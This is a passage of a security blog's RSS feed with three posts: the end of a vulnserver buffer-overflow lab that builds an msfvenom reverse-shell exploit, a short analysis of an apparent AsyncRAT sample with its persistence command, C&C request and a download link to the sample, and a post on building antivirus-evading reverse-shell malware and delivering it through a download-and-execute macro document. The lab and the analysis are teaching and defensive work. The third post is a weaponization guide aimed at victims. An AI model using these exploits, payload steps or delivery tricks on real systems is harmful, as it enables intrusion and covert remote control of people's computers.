<strong>vulnserver</strong>, as shown below, and click the <strong>Attach</strong> button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*4RY-MT3XV6bdbuGceRXLaQ.png" /></figure><h3>Understanding the Immunity Window</h3><p>This is the “CPU Window” in Immunity, and it’s the one you will use most of the time.</p><p>Locate these items in your Immunity window, as marked in the image below.</p><p><strong>Status</strong> in the lower right corner: this shows if the program is Paused or Running. When Immunity attaches a process, the process starts in the Paused state.</p><p><strong>Current Instruction</strong> in the lower left: this shows exactly which instruction the process is executing right now. Immunity has automatically assigned a breakpoint at the start of the process and right now its execution has paused there.</p><p><strong>Registers</strong> in the upper right: The most important items here are:</p><ul><li><strong>EIP</strong>: the Extended Instruction Pointer is the address of the next instruction to be processed.</li><li><strong>ESP</strong>: the Extended Stack Pointer is the top of the stack</li><li><strong>EBP</strong>: the Extended Base Pointer is the bottom of the stack</li></ul><p><strong>Assembly Code</strong> in the upper left: This is the most difficult part of the window to understand. It shows the processor instructions one at a time in “Assembly Language”, with instructions like MOV and CMP. Assembly language is difficult to learn, but you don’t need to learn much of it to develop simple exploits. Don’t struggle much with this pane at first.</p><p><strong>Hex Dump</strong> at the lower left: this shows a region of memory in hexadecimal on the left and in ASCII on the right. For simple exploit development, we’ll use this pane to look at targeted memory regions, usually easily labelled with ASCII text.</p><p><strong>Stack</strong> in the lower right. This shows the contents of the Stack, but it’s presented in a way that is not very helpful for us right now. For this project, disregard this pane.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WjrCDM-nqC6Nt-aliTzQmg.png" /></figure><h3>Running the Vulnerable Server in Immunity</h3><p>On your Windows desktop, in the Immunity Debugger window, at the top left, click the magenta Run Button, as shown below. This runs the Vulnerable Server inside the debugger, so we can attack it.</p><p>The Status at the lower right changes to “Running”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1yNjfutELomKPtzkZjEkEg.png" /></figure><h3>Observing a Crash in the Immunity Debugger</h3><p>On your Kali Linux machine, in a Terminal window, execute this command:</p><pre><strong>./vs-fuzz1</strong></pre><p>Enter a “Length of Attack” of <strong>2000</strong> and press Enter.</p><p>The server doesn’t respond. because it is crashing.</p><p>On your Windows machine, in the Immunity window, at the lower left, you see “Access violation when writing to [41414141], as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yL-QKRU6sHXFEsl54OkBwA.png" /><figcaption>“41” is the hexadecimal code for the “A” character, as shown.</figcaption></figure><h3>Sending 3000 ‘A’ Characters</h3><p>On your Kali Linux machine, in a Terminal window, execute this command:</p><pre><strong>./vs-fuzz1</strong></pre><p>Enter a “Length of Attack” of <strong>3000</strong> and press Enter.</p><p>On your Windows 7 machine, in the Immunity window, at the lower left, you see “Access violation when executing [41414141], as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3RTUci5NijLUwD5Q5B2dsw.png" /></figure><p>This is a classic buffer overflow exploit — the injected characters are placed into the EIP when a subroutine returns, so they become the address of the next instruction to be executed.</p><p>41414141 is not a valid address, so Immunity detects that the program is crashing and pauses so you can see what’s happening.</p><p>This is common in exploit development — an attack of one length has different results than an attack of a different length.</p><p>From now on, we’ll use a length of 3000 for all attacks.</p><h3>Targeting the EIP Precisely</h3><p>We can now write a program that exactly hits the EIP.</p><p>On your Kali Linux machine, in a Terminal window, execute this command:</p><pre><strong>nano vs-eip2</strong></pre><p>In the nano window, type or paste this code.</p><p>Replace the IP address with the IP address of your Windows 7 machine.</p><p>This program will send a 3000-byte attack to the server, consisting of 2006 ‘A’ characters followed by ‘BCDE’ which should end up in the EIP, and enough ‘F’ characters to make the total 3000 bytes long.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/db20d474001da289547c0b2412209a07/href">https://medium.com/media/db20d474001da289547c0b2412209a07/href</a></iframe><p>To save the code, type <strong>Ctrl+X</strong>, then release the keys and press <strong>Y</strong>, release the keys again, and press <strong>Enter</strong>.</p><p>Next you need to make the program executable. To do that, in Kali Linux, in a Terminal window, execute this command:</p><pre><strong>chmod a+x vs-eip2</strong></pre><p>On your Kali Linux machine, in a Terminal window, execute this command:</p><pre><strong>./vs-eip2</strong></pre><p>The lower left corner of the Immunity window now says “Access violation when executing [45444342]”, as shown below.</p><p>This is success — those hex values are ‘BCDE’ in reverse order.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A-KjEMeJ2E7giRa5PkTkfQ.png" /></figure><h3>The Problem of Bad Characters</h3><p>This exploit relies on tricking the program by inserting code into a data structure that was not intended to hold code — it’s something else, such as a directory name.</p><p>Just from common sense, one might expect these characters to cause trouble:</p><pre><strong>Hex  Dec  Description<br>---  ---  ---------------------------------------------<br>0x00   0  Null byte, terminates a C string <br>0x0A  10  Line feed, may terminate a command line <br>0x0D  13  Carriage return, may terminate a command line <br>0x20  32  Space, may terminate a command line argument</strong></pre><p>Not all these characters are always bad, and there might be other bad characters too. So the next task is to try injecting them and see what happens.</p><h3>Finding Useful Assembly Code</h3><p>We have control over the EIP, so we can point to any executable code we wish. What we need to do is find a way to execute the bytes at the location in ESP.</p><p>There are two simple instructions that will work: “JMP ESP” and the two-instruction sequence “PUSH ESP; RET”.</p><p>To find these instructions, we need to examine the modules loaded when Vulnerable Server is running.</p><h3>Installing MONA</h3><p>MONA is a python module which gives Immunity the ability to list modules and search through them.</p><p>On your Windows machine, open Internet Explorer, and open this page:</p><p><a href="http://redmine.corelan.be/projects/mona">http://redmine.corelan.be/projects/mona</a></p><p>In the “Download” section, right-click the “<strong>here</strong>”link below, and click “<strong>Save Target As</strong>”. Save the file in your Downloads folder.</p><p>In Windows Explorer, in the left pane, expand the <strong>Computer</strong> container.</p><p>If you are using a 64-bit system, navigate to:</p><p><strong>C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands</strong></p><p>IIf you are using a 32-bit system, navigate to:</p><p><strong>C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands</strong></p><p>In the right pane of Windows Explorer, right-click and click <strong>Paste</strong>.</p><p>A box pops up saying “You’ll need to provide administrator permission…”. Click <strong>Continue</strong>.</p><p>Mona appears in the window, as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*9oKXCkqCrDNH1k61R1zLqg.png" /></figure><h3>Listing Modules with Mona</h3><p>In Immunity, at the bottom, there is a white bar. Click in that bar and type this command, followed by the Enter key:</p><blockquote><strong><em>!mona modules</em></strong></blockquote><p>Focus on the chart at the bottom, as shown below.</p><p>This chart shows all the modules loaded as part of Vulnerable Server, and several important properties for each one.</p><p>The property of most importance to us now is ASLR, which causes the address of the module to vary each time it is restarted.</p><p>Another property that can cause trouble is “Rebase”, which relocates a module if another module is already loaded in its preferred memory location.</p><p>To make the most reliable exploit, we want to use a module without ASLR or Rebase.</p><p>There are two modules with “False” in both the Rebase and ASLR columns: essfunc.dll and vulnserver.exe.</p><p>However, notice the address values at the left of the chart — vulnserver.exe is loaded at very low address values, starting with 0x00, so any reference to addresses within vulnserver.exe will require a null byte, and that won’t work because ‘\x00’ is a bad character.</p><p>So the only usable module is essfunc.dll.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*DlCPE5DrV8KKno63BpotUw.png" /></figure><h3>Finding JMP ESP with MONA</h3><p>In Immunity, at the bottom, execute this command in the white bar.</p><blockquote><strong><em>!mona find -s &quot;\xff\xe4&quot; -m essfunc.dll</em></strong></blockquote><p>This searches the essfunc.dll module for the bytes FFE4.</p><p>9 locations were found with those contents, as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*4J-B0YLqFDF8a92AnR2_0w.png" /></figure><p>We’ll use the first location:</p><p><strong>625011af</strong></p><h3>Preparing the Python Attack Code</h3><p>This program sets up the exploit, but at the moment the exploit code is missing.</p><p>On your Kali Linux machine, in a Terminal window, execute this command:</p><pre><strong>nano vs-shell</strong></pre><p>In the nano window, type or paste this code.</p><p>Replace the IP address with the IP address of your Windows machine.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/19c016e2efbee5b3eb297b3cdd9b3ecd/href">https://medium.com/media/19c016e2efbee5b3eb297b3cdd9b3ecd/href</a></iframe><h3>Creating Exploit Code</h3><p>On your Kali Linux machine, in a Terminal window, execute this command.</p><blockquote>ip addr</blockquote><p>Find your Kali machine’s IP address and make a note of it.</p><p>On your Kali Linux machine, in a Terminal window, execute the command below.</p><p>Replace the IP address with the IP address of your Kali Linux machine.</p><p>We can now generate our shellcode excluding the badchars found:</p><pre>msfvenom -p windows/shell_reverse_tcp LHOST=192.168.56.103 LPORT=443 EXITFUNC=thread  -f c –e x86/shikata_ga_nai -b &quot;\x00\x0a&quot;</pre><p>This command makes an exploit that will connect from the Windows target back to the Kali Linux attacker on port 443 and execute commands from Kali.</p><p>The exploit is encoded to avoid null bytes. because ‘\x00’ is a bad character.</p><p>Use the mouse to highlight the exploit code, as shown below. Right-click the highlighted code and click <strong>Copy</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*pDFVfb7mwMrDbNYTG-odow.png" /></figure><h3>Inserting the Exploit Code into Python</h3><p>On your Kali Linux machine, in a Terminal window, execute this command:</p><pre><strong>nano vs-shell</strong></pre><p>Use the down-arrow key to move the cursor into the blank line below this line:</p><pre><strong>exploit = (</strong></pre><p>Right-click and click <strong>Paste</strong>, as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*H8iOyzqRVkcZqNJFYxvHFw.png" /></figure><p>To save the code, type <strong>Ctrl+X</strong>, then release the keys and press <strong>Y</strong>, release the keys again, and press <strong>Enter</strong>.</p><p>Next you need to make the program executable. To do that, in Kali Linux, in a Terminal window, execute this command:</p><pre><strong>chmod a+x vs-shell</strong></pre><h3>Starting a Listener</h3><p>On your Kali Linux machine, open a new Terminal window and execute this command:</p><pre><strong>nc -nlvp 443</strong></pre><p>This starts a listener on port 443, to take control of the Windows target.</p><h3>Running the Exploit</h3><p>On your Kali Linux machine, in a Terminal window, execute this command:</p><pre><strong>./vs-shell</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IGl0omL2Am-dguIMTb6GOQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*1Gj1pWBVn-RU0DKLdvONHA.png" /><figcaption>On Windows Machine vulnserver.exe pop cmd.exe for TCP shell</figcaption></figure><p><strong>Tested On : Windows 7 and latest updated</strong> <strong>Windows 10 shout out to Windows Defender</strong> <strong>(x64 / x86)</strong></p><p><strong>Source Codes </strong><a href="https://github.com/whichbuffer/WindowsExploitDev/tree/master/vulnserver">https://github.com/whichbuffer/WindowsExploitDev/tree/master/vulnserver</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=158ddcc029fe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware Analysis C# RAT]]></title>
            <link>https://whichbuffer.medium.com/malware-analysis-c-rat-85100027ec5e?source=rss-37594e7a8b49------2</link>
            <guid isPermaLink="false">https://medium.com/p/85100027ec5e</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Arda Büyükkaya]]></dc:creator>
            <pubDate>Fri, 01 Jan 2021 13:51:55 GMT</pubDate>
            <atom:updated>2021-01-01T14:00:59.033Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Initial Analysis</strong></p><p>Let’s begin a static analysis using CFF Explorer, a good tool for opening a PE file and breaking down its sections into a form that is easy to view. The utility showed us that it is a .NET executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*J2sDJBS_ReBSFvnav4J2Rg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*7s5cW-C0XuMpvTNJbEDOqA.png" /><figcaption>Explorer.exe with fake Microsoft sign and Icon</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/453/1*wauUmD5QmCxP_37DWOypCw.png" /><figcaption>Imposter :)</figcaption></figure><p><strong>FakeNet-NG</strong></p><p>Dynamic Network Analysis Tool for catching suspicious activist on malware (GET,POST request and much more) it’s automatically generate .pcap file</p><p><a href="https://filebin.net/tro02jy6ceonfqm1">Filebin</a></p><p><strong>dnSpy .NET decompilers</strong></p><p>We can now Analyze the source code of malware using dnSpy tool and find some interesting features.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gRpC8zTitlYoFDANEBg-Hw.png" /><figcaption>Using AES Encryption</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ubplt_ttjo3q2oGZsl3iSw.png" /><figcaption>Strings with Base64 and RSA</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ven1A3wqDVsKmi2LcDWYbA.png" /><figcaption>Persistent module abuse task schedule and Regedit</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CzILY4S56btFhsZ5IdA83w.png" /><figcaption>Fetching victim data</figcaption></figure><p>schtasks /create /f /sc onlogon /rl highest /tn ‘Explorer’ /tr ‘’C:\Users\user\AppData\Roaming\Explorer.exe’’</p><p>\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS (Reverse String)</p><p>Software\Microsoft\Windows\CurrentVersion\Run\</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F0-VBO3vF4ojTMvjCQyvNA.png" /><figcaption>Windows Task Scheduler</figcaption></figure><p><strong>More interesting String</strong></p><p>Select * from AntivirusProduct</p><p>Select * from Win32_ComputerSystem</p><p>Pastebin</p><p><strong>Dropped File</strong></p><p><a href="http://twitter.com/echo">@echo</a> off<br>timeout 3 &gt; NUL<br>START “” “C:\Users\admin\AppData\Roaming\Explorer.exe”<br>CD C:\Users\admin\AppData\Local\Temp\<br>DEL “tmpB734.tmp.bat” /f /q</p><p><strong>Connects to a pastebin service for C&amp;C</strong></p><p>GET /raw/bC60Y12E HTTP/1.1Host: pastebin.com</p><p>Network Connect: 45.144.31.52:7779</p><h4>Conclusion</h4><p>Probably AsyncRAT variant with pastebin C&amp;C AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection.</p><p>Malware Sample:<a href="https://filebin.net/nweicou1kiqcv31r">https://filebin.net/nweicou1kiqcv31r</a></p><p>Password : infected</p><p>Used Windows Malware Analysis Distribution FLARE VM</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*lA1zun8DYPXqUfswR5T6Kg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=85100027ec5e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Do not trust your Anti Malware]]></title>
            <link>https://whichbuffer.medium.com/do-not-trust-your-anti-malware-aeec134d017f?source=rss-37594e7a8b49------2</link>
            <guid isPermaLink="false">https://medium.com/p/aeec134d017f</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Arda Büyükkaya]]></dc:creator>
            <pubDate>Wed, 02 Dec 2020 11:59:24 GMT</pubDate>
            <atom:updated>2020-12-02T12:40:23.732Z</atom:updated>
            <content:encoded><![CDATA[<p>I want to share my Malware development stroy from 0 to weaponized malware.</p><p>Everything started with a question to myself How hard is it to write Malware ? actually its depends on what you want, I just want to get reverse shell from victim and of course it will be persistent and evade Windows Defender or any anti malware software.</p><p>So I make research like 2–3 weeks and look some open source malwares from the internet, friendly reminder using those malware source codes as an payload or red teaming tool is big mistake but I learned so much good stuff.</p><p>In this journey I make some rule sets for develop my perfect undetectable malware *chuckles*</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*aWSjCcJRUFAmQS6wzR3MOw.jpeg" /></figure><h4>Don’ts</h4><p>1-) Do not copy other Malware authors source code.</p><p>2-) Do not use any crypters from underground Russian hackers .</p><p>3-) Do not use publicly shared tools such as Invoke-Obfuscation v1.8, Unicorn ,Empire etc …</p><h4>Do’s</h4><p>1-) Use C++ it’s awesome for low level stuff and essay to use Windows API.</p><p>2-) Encrypt your communication and all strings.</p><p>3-) You need persistence and evasion so think clever.</p><p>4-) Weaponize your malware like using .docm with malicious VBA macro or phishing emails.</p><p>5-) Use custom(hard way) or public executable packer such as UPX for evasion and avoid Malware analysis.</p><p>When on my first try it’s like just turn on the defender and test your malware client on VM Windows 10 machine, I was not successful on my first try obviously my .exe file blocked by windows defender and then I update my source code ,like on previous version I used FreeConsole function and this function trigger the anti malware software’s.</p><p>Function for hide your client console:</p><pre>void HideConsole(){<br> ::ShowWindow(::GetConsoleWindow(), SW_HIDE);<br>}</pre><p>I updated malware source code and test after test I get the reverse shell and evade anti defender, well that was fun but I think the hard part is weaponize your malware, I can get connection from victim using netcat or Metasploit multi handler but how to weaponize this malware ?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/460/1*QFUNU0gL0_tBWrm6aA9QFA.jpeg" /></figure><p>Find out site called <a href="https://any.run/"><strong>any.run</strong></a> this site help malware analysis used for get informations about malware like finding spreading , evade and other technique’s used by malware I found very interesting and easy method for weaponize and spread the malware by using VBA macro enabled .docm file, well I was used VBA macros since I’m 13 years old lol , so step by steps:</p><p>1-) Obfuscate and pack your malware client.</p><p>2-) Use an http dropper with python http server.</p><p>3-) Create malicious macro enabled docm file for download malware with curl and execute on victim machine.</p><p>4-) Update your Windows machine and defender.</p><p>5-) Listen TCP traffic with Metasploit .</p><p>6-) Send this docm file to victim, victim enables macro code and some magic happened.</p><p>7-) Get TCP reverse shell and realize no system is safe specially the Windows :/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pGl6OrCbvdV006I6wVgQ4g.png" /></figure><h4>Tweet’s series</h4><h3></h3><p>Do not trust your Anti Malware! Today I managed to evade Windows Defender and gain access latest updated version of Win10 machine with simple backdoor (I developed) then weaponize this backdoor and use simple VBA script on .docm file for download and execute malware.#Hacking pic.twitter.com/GqMpd4A4qV</p><h4>POC</h4><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F4k0Xkf4PuMs%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D4k0Xkf4PuMs&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F4k0Xkf4PuMs%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/c8fa4a2a6d09a40535937eb2f861b09b/href">https://medium.com/media/c8fa4a2a6d09a40535937eb2f861b09b/href</a></iframe><h4>Malware client source code</h4><p><a href="https://github.com/whichbuffer/ReverseShell">https://github.com/whichbuffer/ReverseShell</a></p><p>Note: I don’t share this for harmful hacking this version of my code is just for demo and not contain my fully functional malware source code that I used for red teaming operations, I just want to show how poor this anti virus systems like on this attack scenario .</p><p><a href="https://www.virustotal.com/gui/file/176718643cc4c291b1d26292f5103e76eaf0390949b3529b1d94fd954023d2be/detection">VirusTotal</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VubpssDP7j9dwzAOVfEAcQ.png" /></figure><h4>VBA macro code for docm file</h4><p><a href="https://raw.githubusercontent.com/whichbuffer/ReverseShell/main/macro_code">https://raw.githubusercontent.com/whichbuffer/ReverseShell/main/macro_code</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*27ByPSM92GTHqRhsNlwAmw.gif" /></figure><h4>Huge thanks for:</h4><blockquote><a href="https://github.com/vxunderground">https://github.com/vxunderground</a></blockquote><blockquote><a href="https://github.com/ytisf/theZoo">https://github.com/ytisf/theZoo</a></blockquote><blockquote><a href="https://twitter.com/dinosn">https://twitter.com/dinosn</a></blockquote><h4>My PGP public keys:</h4><p><a href="https://github.com/whichbuffer/pgp">https://github.com/whichbuffer/pgp</a></p><h4><strong>Sincerely Whichbuffer (Arda)</strong></h4><p><a href="https://twitter.com/whichbuffer/">https://twitter.com/whichbuffer/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aeec134d017f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>